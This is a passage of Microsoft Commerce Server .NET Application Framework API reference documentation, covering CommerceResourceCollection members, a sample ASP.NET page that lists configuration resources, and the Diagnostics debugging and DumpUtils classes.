  ByVal array As System.Array, _
  ByVal index As System.Int32 _
)
[C#]
public virtual void CopyTo(
  System.Array array,
  System.Int32 index
);

Parameters

[Visual Basic .NET]
array
The array to copy elements into.
index
The starting element in the array to copy elements into.
[C#]
array
The array to copy elements into.
index
The starting element in the array to copy elements into.

Implements

System.Collection.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResourceCollection.GetEnumerator Method (BCL)

Use this method to support an iteration over the collection of resources.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Return Value

Enumerator for the values in the collection.

Implements

System.Collection.IEnumerable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResourceCollection Properties (BCL)

Public Instance Properties

Property | Description
Count | Gets the number of elements contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized. This implementation always returns False.
Item(String) | Indexer to allow for accessing a resource based on resource name.
SyncRoot | Gets an object that can be used to synchronize access to the collection. This implementation always returns the current instance of the CommerceResourceCollection class.


CommerceResourceCollection.Count Property (BCL)

The Count property is a read-only integer indicating the number of elements contained in the collection.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Count As System.Int32
[C#]
public virtual System.Int32 Count {get;}

Property Value

The number of elements contained in the collection.

Implements

System.Collection.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResourceCollection.IsSynchronized Property (BCL)

The IsSynchronized property is a read-only Boolean that indicates whether access to the collection is synchronized. This implementation always returns False.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IsSynchronized As System.Boolean
[C#]
public virtual System.Boolean IsSynchronized {get;}

Property Value

A Boolean indicating whether access to the collection is synchronized. This implementation always returns False.

Implements

System.Collection.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResourceCollection.Item Property (BCL)

The Item property is a read-only indexer that allows for accessing a resource based on the resource name.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal resourceName As System.String _
) As CommerceResource
[C#]
public CommerceResource Item(
  System.String resourceName
) {get;}

Parameters

[Visual Basic .NET]
resourceName
The name of the resource.
[C#]
resourceName
The name of the resource.

Property Value

An indexer allowing for access to a resource.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResourceCollection.SyncRoot Property (BCL)

The SyncRoot property is a read-only object that can be used to synchronize access to the collection. This implementation always returns the current instance of the CommerceResourceCollection class.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property SyncRoot As System.Object
[C#]
public virtual System.Object SyncRoot {get;}

Property Value

The object used to synchronize access to the collection.

Implements

System.Collection.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Example Code for the Microsoft.CommerceServer.Configuration Namespace

Examples

Example | Description
Code to Read a Resource Collection and Display Its Contents | Describes how to read a Commerce resource collection and display the contents.


Code to Read a Resource Collection and Display Its Contents

Use the following code to read a Commerce resource collection and display its contents:

<%@ Import Namespace="System.Collections" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Configuration" %>
<%@ Page Language="C#" Debug=true%>
<HTML>
   <HEAD>
      <title>Resource Collection</title>
      <script language="C#" runat="server">
void Page_Load(object source, EventArgs args)
{
   if (!IsPostBack)
   {
      DisplayResources();
      btnProperties.Text = "Display Properties";
   }
}
///
/// This function gets the resource collection and binds it
/// to the drop-down list.
///
void DisplayResources()
{
   try
   {
      CommerceResourceCollection resCollection = null;
      // Check that the CommerceContext object for this request is
      // not null.
      if (CommerceContext.Current == null)
      {
         throw new Exception("CommerceContext object is null.Please check settings in web.config");
      }
      // Get the resource collection.
      resCollection = CommerceContext.Current.Resources;
      // resCollection.Count contains the number of resources.
      string[] resArray = new string[resCollection.Count];
      int resIndex =0;
      // Iterate through the resource collection and build the
      // string array.
      foreach (CommerceResource resource in resCollection)
      {
         resArray[resIndex++] = resource.Name;
      }
      // Bind the array to the drop-down list.
      lbResources.DataSource = resArray;
      lbResources.DataBind();
   }
   catch(Exception ex)
   {
      // Exception handling.
      throw new Exception("An error occurred", ex);
   }
}
///
/// Displays the properties for the selected resource.
///
void DisplayPropertiesBtn_Click(object source, EventArgs args)
{
   string resourceName;
   CommerceResource resource ;
   try
   {
      CommerceResourceCollection resCollection = null;
      // Check that the CommerceContext object for this request is
      // not null.
      if (CommerceContext.Current == null)
      {
         throw new Exception("CommerceContext object is null.");
      }
      // Get the resource collection.
      resCollection = CommerceContext.Current.Resources;
      // Get the resource name whose properties are to be displayed.
      resourceName = lbResources.SelectedItem.Text.Trim();
      // Index the resource collection using the resource name to get the
      // configuration properties for this resource.
      resource = resCollection[resourceName];

      // Display the Name, MajorVersion, MinorVersion, and Revision
      // properties of the resource.
      lblResourceName.Text = String.Format("Resource Name = {0}", resource.Name);
      lblMajorVersion.Text = String.Format("Major Version = {0}", resource.MajorVerion);
      lblMinorVersion.Text = String.Format("Minor Version = {0}", resource.MinorVersion);
      lblRevision.Text    = String.Format("Revision = {0}", resource.Revision);

      // Build a hash table containing each property and its value.
      Hashtable hashTable = new Hashtable();
      // The value of a property can be accessed by indexing the
      // resource using property name.
      foreach (string propName in resource)
      {
         hashTable.Add(propName, resource[propName]);
      }
      // Bind the properites to the repeater
      LineItemRepeater.DataSource = hashTable;
      LineItemRepeater.DataBind();
   }
   catch(Exception ex)
   {
      throw new Exception("An error occurred", ex);
   }
}
      </script>
   </HEAD>
   <body>
      <form runat="server">
         <asp:DropDownList id="lbResources" runat="server" />
         <asp:Button id="btnProperties" OnClick="DisplayPropertiesBtn_Click" runat="server" />
         <asp:table width="500" Runat="server">
            <asp:tablerow>
               <asp:tablecell>
                  <asp:Label width="100%" id="lblResourceName" runat="server" />
               </asp:tablecell>
            </asp:tablerow>
            <asp:tablerow>
               <asp:tablecell>
                  <asp:Label width="100%" id="lblMajorVersion" runat="server" />
               </asp:tablecell>
            </asp:tablerow>
            <asp:tablerow>
               <asp:tablecell>
                  <asp:Label width="100%" id="lblMinorVersion" runat="server" />
               </asp:tablecell>
            </asp:tablerow>
            <asp:tablerow>
               <asp:tablecell>
                  <asp:Label width="100%" id="lblRevision" runat="server" />
               </asp:tablecell>
            </asp:tablerow>
         </asp:table>
         <asp:repeater id="LineItemRepeater" runat="server">
            <ItemTemplate>
               <asp:Table runat="server" GridLines="both" BorderWidth="1px">
                  <asp:TableRow>
                     <asp:TableCell id="label1" width="50%">
                        <%# DataBinder.Eval(Container.DataItem ,"Key")%>
                     </asp:TableCell>
                     <asp:TableCell font-bold="true" id="label2" width="50%">
                        <%# DataBinder.Eval(Container.DataItem ,"Value")%>
                     </asp:TableCell>
                  </asp:TableRow>
               </asp:Table>
            </ItemTemplate>
         </asp:repeater>
      </form>
   </body>
</HTML>


Microsoft.CommerceServer.Runtime.Diagnostics

The classes in the Microsoft.CommerceServer.Runtime.Diagnostics namespace contain the debugging functionality needed for the Commerce Server .NET Application Framework.

Classes

Class | Description
ConsoleDebugContext | Represents the current debugging level for a non-Web based application. Contains methods for handling debug warnings, errors, and informational trace messages. This class may be derived, as the Trace, Warn, and Error methods are declared virtual.
DebugContext | Represents the current debugging level for the application. This object sets the debug mode and contains methods for handling debug warnings, errors, and informational trace messages. This class may be derived, as the Trace, Warn, and Error methods are declared virtual.
DumpUtils | Contains utility methods useful for dumping out the data in various Commerce Server and Interop objects.
WebDebugContext | Represents the current debugging level for the application and has methods for handling debug warnings, errors, and informational trace messages. This class may be derived, as the Trace, Warn, and Error methods are declared virtual.

Enumerations

Enumeration | Description
DebugMode | Enumerates the possible debug mode settings.
DumpUtils_ContainerType | Protected enumeration of the different container object types supported.

See Also

Commerce Server .NET Application Framework Tutorial


ConsoleDebugContext Class (BCL)

The ConsoleDebugContext class represents the current debugging level for a non-Web based application. The class contains methods for handling debug warnings, errors, and informational trace messages. This class may be derived, as the Trace, Warn, and Error methods are declared virtual.

Public Instance Constructor

Constructor | Description
ConsoleDebugContext(DebugContext) Constructor | Creates a new instance of the ConsoleDebugContext class.

Public Instance Methods

Method | Description
Error(String, String) | Records an error.
Error(String, String, Exception) | Records an error and an exception.
Trace(String, String) | Records an informational trace message.
Warn(String, String) | Records a warning message.
Warn(String, String, Exception) | Records a warning message and an exception.

Public Instance Properties

Property | Description
DebugMode (Inherited from DebugContext) | Gets and sets the current debug mode.
IsDebugMode (Inherited from DebugContext) | Gets a Boolean that is set to True if the current DebugMode property is set to either Debug or the superset Checked mode.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ConsoleDebugContext Constructor (BCL)

Public Instance Constructor

Constructor | Description
ConsoleDebugContext(DebugContext) Constructor | Creates a new instance of the ConsoleDebugContext class.


ConsoleDebugContext(DebugContext) Constructor (BCL)

Use this method to create a new instance of the ConsoleDebugContext class.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal dbgMode As DebugMode
)
[C#]
public DebugContext(
 DebugMode dbgMode
);

Parameters

[Visual Basic .NET]
dbgMode
Debug mode enumerator.
[C#]
dbgMode
Debug mode enumerator.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ConsoleDebugContext Methods (BCL)

Public Instance Methods

Method | Description
Error(String, String) | Records an error.
Error(String, String, Exception) | Records an error and an exception.
Trace(String, String) | Records an informational trace message.
Warn(String, String) | Records a warning message.
Warn(String, String, Exception) | Records a warning message and an exception.


ConsoleDebugContext.Error (String, String) Method (BCL)

Use this method to record an error.

Definition

[Visual Basic .NET]
Overrides Public Sub Error( _
  ByVal category As System.String, _
  ByVal message As System.String _
)
[C#]
public override void Error(
  System.String category,
  System.String message
);

Parameters

[Visual Basic .NET]
category
The debug category.
message
The debug message.
[C#]
category
The debug category.
message
The debug message.

Remarks

If the Commerce Server site is running in Checked mode, then this method throws a CommerceDebugException. Otherwise this class uses the Warn method of the System.Web.TraceContext class to log the message prefixed with the string Error:.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ConsoleDebugContext.Error (String, String, Exception) Method (BCL)

Use this method to record an error and an exception.

Definition

[Visual Basic .NET]
Overrides Public Sub Error( _
  ByVal category As System.String, _
  ByVal message As System.String, _
  ByVal ex As System.Exception _
)
[C#]
public override void Error(
  System.String category,
  System.String message,
  System.Exception ex
);

Parameters

[Visual Basic .NET]
category
The debug category.
message
The debug message.
ex
The inner exception.
[C#]
category
The debug category.
message
The debug message.
ex
The inner exception.

Remarks

If the Commerce Server site is running in Checked mode, then this method throws a CommerceDebugException. Otherwise this class uses the Warn method of the System.Web.TraceContext class to log the message prefixed with the string Error:.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ConsoleDebugContext.Trace (String, String) Method (BCL)

Use this method to record an informational trace message.

Definition

[Visual Basic .NET]
Overrides Public Sub Trace( _
  ByVal category As System.String, _
  ByVal message As System.String _
)
[C#]
public override void Trace(
  System.String category,
  System.String message
);

Parameters

[Visual Basic .NET]
category
The debug category.
message
The debug message.
[C#]
category
The debug category.
message
The debug message.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ConsoleDebugContext.Warn (String, String) Method (BCL)

Use this method to record a warning message.

Definition

[Visual Basic .NET]
Overrides Public Sub Warn( _
  ByVal category As System.String, _
  ByVal message As System.String _
)
[C#]
public override void Warn(
  System.String category,
  System.String message
);

Parameters

[Visual Basic .NET]
category
The debug category.
message
The debug message.
[C#]
category
The debug category.
message
The debug message.

Remarks

This class uses the Warn method of the System.Web.TraceContext class to log the message prefixed with the string Warning:.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ConsoleDebugContext.Warn (String, String, Exception) Method (BCL)

Use this method to record a warning message and an exception.

Definition

[Visual Basic .NET]
Overrides Public Sub Warn( _
  ByVal category As System.String, _
  ByVal message As System.String, _
  ByVal ex As System.Exception _
)
[C#]
public override void Warn(
  System.String category,
  System.String message,
  System.Exception ex
);

Parameters

[Visual Basic .NET]
category
The debug category.
message
The debug message.
ex
The exception.
[C#]
category
The debug category.
message
The debug message.
ex
The exception.

Remarks

This class uses the Warn method of the System.Web.TraceContext class to log the message prefixed with the string Warning:.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ConsoleDebugContext Properties (BCL)

Public Instance Properties

Property | Description
DebugMode (Inherited from DebugContext) | Gets and sets the current debug mode.
IsDebugMode (Inherited from DebugContext) | Gets a Boolean that is set to True if the current DebugMode property is set to either Debug or the superset Checked mode.


DebugContext Class (BCL)

Represents the current debugging level for the application. This class sets the debug mode and contains methods for handling debug warnings, errors, and informational trace messages. The Trace, Warn, and Error methods are virtual so this method may be derived.

Protected Instance Constructor

Constructor | Description
DebugContext Constructor | Creates a new instance of the DebugContext class.

Public Instance Methods

Method | Description
Error(String, String) | Records an error.
Error(String, String, Exception) | Records an error and an exception.
Trace(String, String) | Records an informational trace message.
Warn(String, String) | Records a warning message.
Warn(String, String, Exception) | Records a warning message and an exception.

Public Instance Properties

Property | Description
DebugMode | Gets the current debug mode.
IsDebugMode | Gets a Boolean that is set to True if the current debug mode is set to either Debug or the superset Checked mode.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DebugContext Constructor (BCL)

Protected Instance Constructor

Constructor | Description
DebugContext Constructor | Creates a new instance of the DebugContext class.


DebugContext Constructor (BCL)

Use this method to create a new instance DebugContext class.

Definition

[Visual Basic .NET]
Protected Sub New( _
)
[C#]
protected DebugContext(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DebugContext Methods (BCL)

Public Instance Methods

Method | Description
Error(String, String) | Records an error.
Error(String, String, Exception) | Records an error and an exception.
Trace(String, String) | Records an informational trace message.
Warn(String, String) | Records a warning message.
Warn(String, String, Exception) | Records a warning message and an exception.


DebugContext.Error (String, String) Method (BCL)

Use this method to record an error.

Definition

[Visual Basic .NET]
Overridable Public Sub Error( _
  ByVal category As System.String, _
  ByVal message As System.String _
)
[C#]
public virtual void Error(
  System.String category,
  System.String message
);

Parameters

[Visual Basic .NET]
category
The debug category.
message
The debug message.
[C#]
category
The debug category.
message
The debug message.

Remarks

If the Commerce Server site is running in Checked mode, this method throws a CommerceDebugException. Otherwise, this class uses the Warn method of the System.Web.TraceContext class to log the message prefixed with the string "Error:".

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DebugContext.Error (String, String, Exception) Method (BCL)

Use this method to record an error and an exception.

Definition

[Visual Basic .NET]
Overridable Public Sub Error( _
  ByVal category As System.String, _
  ByVal message As System.String, _
  ByVal ex As System.Exception _
)
[C#]
public virtual void Error(
  System.String category,
  System.String message,
  System.Exception ex
);

Parameters

[Visual Basic .NET]
category
The debug category.
message
The debug message.
ex
The inner exception.
[C#]
category
The debug category.
message
The debug message.
ex
The inner exception.

Remarks

If the Commerce Server site is running in Checked mode, this method throws a CommerceDebugException. Otherwise, this class uses the Warn method of the System.Web.TraceContext class to log the message prefixed with the string "Error:".

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DebugContext.Trace (String, String) Method (BCL)

Use this method to record an informational trace message.

Definition

[Visual Basic .NET]
Overridable Public Sub Trace( _
  ByVal category As System.String, _
  ByVal message As System.String _
)
[C#]
public virtual void Trace(
  System.String category,
  System.String message
);

Parameters

[Visual Basic .NET]
category
The debug category.
message
The debug message.
[C#]
category
The debug category.
message
The debug message.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DebugContext.Warn (String, String) Method (BCL)

Use this method to record a warning message.

Definition

[Visual Basic .NET]
Overridable Public Sub Warn( _
  ByVal category As System.String, _
  ByVal message As System.String _
)
[C#]
public virtual void Warn(
  System.String category,
  System.String message
);

Parameters

[Visual Basic .NET]
category
The debug category.
message
The debug message.
[C#]
category
The debug category.
message
The debug message.

Remarks

This class uses the Warn method of the System.Web.TraceContext class to log the message prefixed with the string "Warning:".

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DebugContext.Warn (String, String, Exception) Method (BCL)

Use this method to record a warning message along with an exception.

Definition

[Visual Basic .NET]
Overridable Public Sub Warn( _
  ByVal category As System.String, _
  ByVal message As System.String, _
  ByVal ex As System.Exception _
)
[C#]
public virtual void Warn(
  System.String category,
  System.String message,
  System.Exception ex
);

Parameters

[Visual Basic .NET]
category
The debug category.
message
The debug message.
ex
The exception.
[C#]
category
The debug category.
message
The debug message.
ex
The exception.

Remarks

This class uses the Warn method of the System.Web.TraceContext class to log the message prefixed with the string "Warning:".

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DebugContext Properties (BCL)

Public Instance Properties

Property | Description
DebugMode | Gets the current debug mode.
IsDebugMode | Gets a Boolean that is set to True if the current debug mode is set to either Debug or the superset Checked mode.


DebugContext.DebugMode Property (BCL)

The DebugMode property is a read/write DebugMode that retrieves the current debug mode.

Definition

[Visual Basic .NET]
Overridable Public Property DebugMode As DebugMode
[C#]
public virtual DebugMode DebugMode {get; set;}

Property Value

The current debug mode.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DebugContext.IsDebugMode Property (BCL)

The IsDebugMode property is a Boolean that indicates whether the DebugMode property is set to Debug or Checked.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IsDebugMode As System.Boolean
[C#]
public virtual System.Boolean IsDebugMode {get;}

Property Value

A Boolean that is True if the DebugMode property is set to Debug, and False if the DebugMode property is set to Checked.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DebugMode Enumeration (BCL)

Enumerates the possible DebugMode settings.

Members

Member Name | Description
Checked | Checked mode is a superset of debug mode and indicates that special time- or resource-intensive checks should be made.
Debug | In debug mode, some special checks are made, but not those that are resource or time intensive.
Production | In production mode, no special checks are made, only some level of tracing is provided.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DumpUtils Class (BCL)

Contains utility methods useful for dumping out the data in various CommerceServer and Interop objects as HTML.

Protected Instance Constructor

Constructor | Description
DumpUtils Constructor | Creates a new instance of the DumpUtils class.

Public Static (Shared) Methods

Method | Description
DumpDataContainer(IDataContainer, HtmlTextWriter, String) | Dumps a ContentList or ContentListFactory object to the output stream as HTML with no indentation.
DumpDataSet(DataSet, HtmlTextWriter, String) | Dumps the tables in the DataSet object to the output stream as HTML with no indentation.
DumpDataTable(DataTable, HtmlTextWriter) | Dumps a DataTable object to the output stream as HTML with no indentation.
DumpDictionary(IDictionary, HtmlTextWriter, String) | Dumps a Commerce.Dictionary object to the output stream with no indentation.
DumpFields(Fields, HtmlTextWriter, String) | Dumps a Fields collection to the output stream with no indentation.
DumpObject(Object, HtmlTextWriter, String) | Dumps an object of unknown type.
DumpObject(Object, HtmlTextWriter, String, Int32) | Dumps an object of unknown type.
DumpRecordset(Recordset, HtmlTextWriter, String) | Dumps a Recordset object to the HtmlTextWriter object using no indentation.
DumpSimpleList(ISimpleList, HtmlTextWriter, String) | Dumps a Commerce.SimpleList object to the output stream with no indentation.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DumpUtils Constructor (BCL)

Protected Instance Constructor

Constructor | Description
DumpUtils Constructor | Creates a new instance of the DumpUtils class.


DumpUtils Constructor (BCL)

Use this method to create a new instance of the DumpUtils class.

Definition

[Visual Basic .NET]
Protected Sub New( _
)
[C#]
protected DumpUtils(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DumpUtils Methods (BCL)

Public Static (Shared) Methods

Method | Description
DumpDataContainer(IDataContainer, HtmlTextWriter, String) | Dumps a ContentList or ContentListFactory object to the output stream as HTML with no indentation.
DumpDataSet(DataSet, HtmlTextWriter, String) | Dumps the tables in the DataSet object to the output stream as HTML with no indentation.
DumpDataTable(DataTable, HtmlTextWriter) | Dumps a DataTable object to the output stream as HTML with no indentation.
DumpDictionary(IDictionary, HtmlTextWriter, String) | Dumps a Commerce.Dictionary object to the output stream with no indentation.
DumpFields(Fields, HtmlTextWriter, String) | Dumps a Fields collection to the output stream with no indentation.
DumpObject(Object, HtmlTextWriter, String) | Dumps an object of unknown type.
DumpObject(Object, HtmlTextWriter, String, Int32) | Dumps an object of unknown type.
DumpRecordset(_Recordset, HtmlTextWriter, String) | Dumps a Recordset object to the HtmlTextWriter object with no indentation.
DumpSimpleList(ISimpleList, HtmlTextWriter, String) | Dumps a Commerce.SimpleList object to the output stream with no indentation.


DumpUtils.DumpDataContainer (IDataContainer, HtmlTextWriter, String) Method (BCL)

Use this method to dump a ContentList or ContentListFactory object to the output stream as HTML with no indentation.

Definition

[Visual Basic .NET]
Public Shared Sub DumpDataContainer( _
  ByVal dc As Microsoft.CommerceServer.Interop.Caching.IDataContainer, _
  ByVal output As System.Web.UI.HtmlTextWriter, _
  ByVal name As System.String _
)
[C#]
public static void DumpDataContainer(
  Microsoft.CommerceServer.Interop.Caching.IDataContainer dc,
  System.Web.UI.HtmlTextWriter output,
  System.String name
);

Parameters

[Visual Basic .NET]
dc
The IDataContainer object.
output
The output stream.
name
The name of object for display.
[C#]
dc
The IDataContainer object.
output
The output stream.
name
The name of object for display.

Example

To supply the DumpDataContainer method with an HtmlTextWriter object that wraps the ASP .NET Response object, you must supply an output parameter.

[C#]
// This sample requires a CommerceServer cache of type "Discounts"
// to be configured in the web.config file.
// A reference must be added to the CacheCompLib interop assembly.
using Commerce = Microsoft.CommerceServer.Runtime;
using Microsoft.CommerceServer.Runtime.Diagnostics;
using Microsoft.CommerceServer.Interop.Caching;

Commerce.IDictionary dictCache = (Commerce.IDictionary)CommerceContext.Current.Caches["Discounts"].GetCache();
IDataContainer dataContainer = (IDataContainer)dictCache["Factory"];
DumpUtils.DumpDataContainer(dataContainer, new HtmlTextWriter(Response.Output), "Discounts cache");
[Visual Basic .NET]
' This sample requires a CommerceServer cache of type "Discounts"
' to be configured in the web.config file.
' A reference must be added to the CacheCompLib interop assembly.

Imports Microsoft.CommerceServer.Runtime
Imports Microsoft.CommerceServer.Runtime.Diagnostics
Imports Microsoft.CommerceServer.Interop.Caching

Dim dictCache As Microsoft.CommerceServer.Runtime.IDictionary
dictCache = CType(CommerceContext.Current.Caches("Discounts").GetCache(), Microsoft.CommerceServer.Runtime.IDictionary)
Dim dataContainer As IDataContainer = CType(dictCache.Value("Factory"), IDataContainer)
DumpUtils.DumpDataContainer(dataContainer, New HtmlTextWriter(Response.Output), "Discounts cache")

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DumpUtils.DumpDataSet (DataSet, HtmlTextWriter, String) Method (BCL)

Use this method to dump the tables in the DataSet object to the output stream as HTML with no indentation.

Definition

[Visual Basic .NET]
Public Shared Sub DumpDataSet( _
  ByVal ds As System.Data.DataSet, _
  ByVal output As System.Web.UI.HtmlTextWriter, _
  ByVal name As System.String _
)
[C#]
public static void DumpDataSet(
  System.Data.DataSet ds,
  System.Web.UI.HtmlTextWriter output,
  System.String name
);

Parameters

[Visual Basic .NET]
ds
The DataSet object.
output
The HtmlTextWriter object output stream.
name
The name of the object for display.
[C#]
ds
The DataSet object.
output
The HtmlTextWriter object output stream.
name
The name of the object for display.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DumpUtils.DumpDataTable (DataTable, HtmlTextWriter) Method (BCL)

Use this method to dump a DataTable object to the output stream as HTML with no indentation.

Definition

[Visual Basic .NET]
Public Shared Sub DumpDataTable( _
  ByVal dt As System.Data.DataTable, _
  ByVal output As System.Web.UI.HtmlTextWriter _
)
[C#]
public static void DumpDataTable(
  System.Data.DataTable dt,
  System.Web.UI.HtmlTextWriter output
);

Parameters

[Visual Basic .NET]
dt
The DataTable object.
output
The HtmlTextWriter object output stream.
[C#]
dt
The DataTable object.
output
The HtmlTextWriter object output stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DumpUtils.DumpDictionary (IDictionary, HtmlTextWriter, String) Method (BCL)

Use this method to dump a Commerce.Dictionary object to the output stream with no indentation.

Definition

[Visual Basic .NET]
Public Shared Sub DumpDictionary( _
  ByVal d As Microsoft.CommerceServer.Runtime.IDictionary, _
  ByVal output As System.Web.UI.HtmlTextWriter, _
  ByVal name As System.String _
)
[C#]
public static void DumpDictionary(
  Microsoft.CommerceServer.Runtime.IDictionary d,
  System.Web.UI.HtmlTextWriter output,
  System.String name
);

Parameters

[Visual Basic .NET]
d
Dictionary to be dumped.
output
The HtmlTextWriter object output stream.
name
The dictionary name for display.
[C#]
d
Dictionary to be dumped.
output
The HtmlTextWriter object output stream.
name
The dictionary name for display.

Example

To supply the DumpDataDictionary method with an HtmlTextWriter object that wraps the ASP .NET Response object, you must supply an output parameter.

[C#]
using Commerce = Microsoft.CommerceServer.Runtime;
using Microsoft.CommerceServer.Runtime.Diagnostics;

Commerce.Dictionary dict = new Commerce.DictionaryClass();
dict["testKey"] = "testValue";
DumpUtils.DumpDictionary(dict, new HtmlTextWriter(Response.Output), "My Dictionary Object");
[Visual Basic .NET]
Imports Microsoft.CommerceServer.Runtime.Diagnostics

Dim dict As New Microsoft.CommerceServer.Runtime.DictionaryClass()
dict.Value("testKey") = "testValue"
Call DumpUtils.DumpDictionary(dict, New HtmlTextWriter(Response.Output), "My Dictionary Object")

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll

See Also

Code to Dump an Order Form


DumpUtils.DumpFields (Fields, HtmlTextWriter, String) Method (BCL)

Use this method to dump a Fields collection to the output stream with no indentation.

Definition

[Visual Basic .NET]
Public Shared Sub DumpFields( _
  ByVal flds As ADODB.Fields, _
  ByVal output As System.Web.UI.HtmlTextWriter, _
  ByVal name As System.String _
)
[C#]
public static void DumpFields(
  ADODB.Fields flds,
  System.Web.UI.HtmlTextWriter output,
  System.String name
);

Parameters

[Visual Basic .NET]
flds
The fields object to dump.
output
The output stream to dump to.
name
The name of the object for display purposes.
[C#]
flds
The fields object to dump.
output
The output stream to dump to.
name
The name of the object for display purposes.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


DumpUtils.DumpObject (Object, HtmlTextWriter, String) Method (BCL)

Use this method to dump an object of unknown type.

Definition

[Visual Basic .NET]
Public Shared Sub DumpObject( _
  ByVal obj As System.Object, _
  ByVal output As System.Web.UI.HtmlTextWriter, _
  ByVal name As System.String _
)
[C#]
public static void DumpObject(
  System.Object obj,
  System.Web.UI.HtmlTextWriter output,
  System.String name
);

Parameters

[Visual Basic .NET]
obj
The object to dump.
output
The output stream.
name
The name of the object for display purposes.
[C#]
obj
The object to dump.
output
The output stream.
name
The name of the object for display purposes.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Diagnostics

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


